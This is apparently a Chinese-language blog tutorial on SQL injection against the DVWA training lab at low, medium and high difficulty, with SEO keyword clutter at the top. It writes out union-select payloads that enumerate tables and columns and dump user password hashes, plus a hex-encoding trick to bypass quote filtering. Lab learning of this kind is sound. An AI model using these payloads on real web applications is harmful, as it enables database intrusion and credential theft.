东莞网站建设优化诊断,wordpress get_tags,公司网页制作官网,做PPT参考图片网站 知乎这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟#xff0c;过程图片会比较多#xff0c;比较基础和详细#xff0c;不存在看不懂哪一步的过程 文章目录 靶场介绍SQL注入 lowSQL注入 MediumSQL注入 HighSQL注入 Impossible 靶场介绍
DVWA#xff08;Damn…这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟过程图片会比较多比较基础和详细不存在看不懂哪一步的过程 文章目录 靶场介绍SQL注入 lowSQL注入 MediumSQL注入 HighSQL注入 Impossible 靶场介绍
DVWADamn Vulnerable Web Application是一个专为安全专业人员、开发人员和学生设计的网络安全靶场。它是一个基于PHP/MySQL的开源Web应用程序模拟了一个典型的Web应用程序环境并包含了多种常见的Web安全漏洞如SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入等。这些漏洞被故意设计出来用于安全教育和渗透测试训练。
SQL注入 low
输入1正常回显观察URL明显是get请求传递的参数。
测试是否存在sql注入这里用 ’ 来测虽然这个是靶场我们已经知道存在sql注入漏洞我为了理清思路这里完整的复述一遍 这里报错了说明这个网页存在sql注入的漏洞 测一下漏洞是字符型还是数字型
1 and 11
1 and 12
1 and 11#
1 and 12#
(有的地方用--有的地方可以用--注释有的地方可以用#注释这里只能用#注释)前两个都正常回显 这里我们猜测一下数据库的搜索语句应该是这样的那么应该是字符型 1’ and 11#正常回显
1’ and 12#回显异常了 这里我们接着想一想后端的sql搜索语句是怎么写的如下图当前面闭合后执行后面的11会正常回显内容当你12时永假页面肯定回显异常。到这里就可以判断一定是字符型的注入了。 到这一步基本上我们找到了闭合可以开始注入了。 ps到了这儿该如何注入就得看各位师父们的手法和技巧了高超的技巧往往能更快更方便注入。
1 order by
-1 union select 1,2#这里的意思就是说联合注入我们后面查询的12两个字段的数据显示在页面的哪个位置搞清楚了位置我们就可以通过替换12字段的查询语句来进行数据库的信息的探测。 探测数据库名 -1 union select database(),2#探测表名
1 and 12 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#探测表中字段名
1 and 12 union select 1, group_concat(column_name) from information_schema.columns where table_nameusers#获取数据(密码均为md5加密各位可以去网上用md5解密网站跑简单的一般不用收费)
1 and 12 union select user,password from users#好了到此low级别的sql注入已经差不多完成了后面的中级和高级最后过程就不赘述只寻找到闭合。
SQL注入 Medium
我们先观察一下页面只能让你选择你的id不让你输入了使用post传参我们可以用burp suite来抓包实现修改post数据 数据包如下 分析到这里后其实其他步骤跟low级别就差不多了
测有无sql漏洞
id1SubmitSubmit测有无sql
判断类型
id1 and 11#SubmitSubmit
id1 and 12#SubmitSubmit
id1 or 11#SubmitSubmi如此可以测出来存在数字型的sql注入漏洞 测试代码如下
id1 and 11 order by 3SubmitSubmit
id1 and 11 order by 2SubmitSubmit
id1 union select 1,2SubmitSubmit
id1 union select 1,database()#SubmitSubmit
id1 union select 1,table_name from information_schema.tables where table_schemadatabase()#SubmitSubmit
id1 union select 1,column_name from information_schema.columns where table_nameusers#SubmitSubmit这里要就能体现medium和low有什么区别了。我们探测user表中的字段数时发现sql语句报错了说明后端做了过滤。我们点开源代码看看后端做了什么限制。 说明他可能过滤掉了我们的单引号但是这种过滤其实也没啥太大用处毕竟换个十六进制加密就能写进去。
id1 union select 1,column_name from information_schema.columns where table_name0x5553455253#SubmitSubmitid1 or 11 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #SubmitSubmitSQL注入 High
这里我们先审一下后端的代码这里做的限制只要是limit 1给你一个回复而且你提交数据的页面和它显示给你的界面不是同一个这样做是防止sqlmap等自动化扫描工具的批量扫描。然而其他的跟low级别基本上差不太多。 我们直接用low级别的payload也可以直接获取到他的数据库信息。
SQL注入 Impossible
关于这个难度本人的php水平有限等后期php的水平提升了再来审一下这个靶场的后端代码这里先搁置在这里。csdn中很有很多大佬做了代码审计各位感兴趣可以自行搜索。(QAQ)